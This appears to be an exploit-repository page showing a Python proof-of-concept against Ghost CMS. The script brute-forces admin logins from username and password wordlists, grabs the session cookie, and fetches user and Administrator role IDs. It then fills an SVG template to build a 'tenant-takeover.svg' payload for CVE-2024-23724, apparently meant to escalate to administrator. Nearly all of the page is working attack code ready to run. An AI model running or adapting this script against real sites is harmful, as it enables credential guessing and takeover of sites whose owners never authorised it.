4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / ghost-cms.py PY
import requests
import argparse

def brute_force_credentials(userlist_path, passlist_path, target):
    try:
        with open(userlist_path, 'r') as f:
            usernames = [line.strip() for line in f.readlines() if line.strip()]
        with open(passlist_path, 'r') as f:
            passwords = [line.strip() for line in f.readlines() if line.strip()]
    except FileNotFoundError as e:
        print(f"Error reading wordlist: {e}")
        return None

    auth_url = f"{target}:3001/ghost/api/admin/session"
    auth_headers = {
        "Content-Type": "application/json;charset=UTF-8",
        "X-Ghost-Version": "5.75",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
        "Accept": "text/plain, */*; q=0.01"
    }

    for username in usernames:
        for password in passwords:
            auth_payload = {"username": username, "password": password}
            try:
                response = requests.post(auth_url, json=auth_payload, headers=auth_headers, timeout=10)
                if response.status_code == 201:
                    print(f"\n[+] Attempt successful: {username}:{password}")
                    return (username, password)
                else:
                    print(f"[-] Attempt Failed: {username}:{password}")
            except requests.exceptions.RequestException as e:
                print(f"[!] Request error: {e}")
                continue
    return None

def exploit_cve(username, password, target):
    base_url = target
    auth_url = f"{base_url}:3001/ghost/api/admin/session"
    
    auth_headers = {
        "Content-Type": "application/json;charset=UTF-8",
        "X-Ghost-Version": "5.75",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
        "Accept": "text/plain, */*; q=0.01"
    }

    auth_payload = {"username": username, "password": password}
    
    try:
        auth_response = requests.post(auth_url, json=auth_payload, headers=auth_headers, timeout=10)
    except requests.exceptions.RequestException as e:
        print(f"[!] Authentication failed: {e}")
        return

    if auth_response.status_code == 201 and 'Set-Cookie' in auth_response.headers:
        session_cookie = auth_response.headers['Set-Cookie'].split(';')[0]
        print(f"[+] Session Cookie: {session_cookie}")
    else:
        print(f"[-] Authentication failed (Status: {auth_response.status_code})")
        return

    get_url = f"{base_url}:3001/ghost/api/admin/users/?include=roles"
    get_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
        "Content-Type": "application/json; charset=UTF-8",
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "X-Ghost-Version": "5.75",
        "Cookie": session_cookie
    }

    try:
        get_response = requests.get(get_url, headers=get_headers, timeout=10)
    except requests.exceptions.RequestException as e:
        print(f"[!] GET request failed: {e}")
        return

    if get_response.status_code == 200:
        try:
            users_data = get_response.json().get("users", [])
            user_info = next((user for user in users_data if user.get("email") == username), None)
            admin_role_info = next((user for user in users_data if any(role.get('name') == 'Administrator' for role in user.get('roles', []))), None)
            admin_role_id = admin_role_info['roles'][0]['id'] if admin_role_info else '[Admin-Role-ID]'

            if user_info:
                replacements = {
                    '[User-ID]': user_info.get("id", ""),
                    '[User-Name]': user_info.get("name", ""),
                    '[Slug-Name]': user_info.get("slug", ""),
                    '[User-Email]': user_info.get("email", ""),
                    '[Admin-Role-ID]': admin_role_id
                }

                try:
                    with open("boilerplate.svg", "r") as f:
                        svg_template = f.read()
                    
                    for placeholder, value in replacements.items():
                        svg_template = svg_template.replace(placeholder, value)
                    
                    with open("tenant-takeover.svg", "w") as f:
                        f.write(svg_template)
                    
                    print("[+] SVG payload written to tenant-takeover.svg")
                except FileNotFoundError:
                    print("[!] boilerplate.svg file not found")
                except Exception as e:
                    print(f"[!] Error processing SVG: {e}")
            else:
                print("[-] User not found in response")
        except Exception as e:
            print(f"[!] Error processing user data: {e}")
    else:
        print(f"[-] GET request failed (Status: {get_response.status_code})")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Ghost CMS Brute-force and CVE-2024-23724 Exploit')
    parser.add_argument('-U', '--userlist', required=True, help='Path to username wordlist file')
    parser.add_argument('-P', '--passlist', required=True, help='Path to password wordlist file')
    parser.add_argument('-t', '--target', required=True, help='Target base URL (e.g., http://localhost)')
    args = parser.parse_args()

    print("[*] Starting brute-force attack...")
    credentials = brute_force_credentials(args.userlist, args.passlist, args.target)
    
    if credentials:
        print("\n[*] Valid credentials found! Checking for CVE-2024-23724...")
        exploit_cve(*credentials, args.target)
    else:
        print("\n[-] Brute-force failed: No valid credentials found")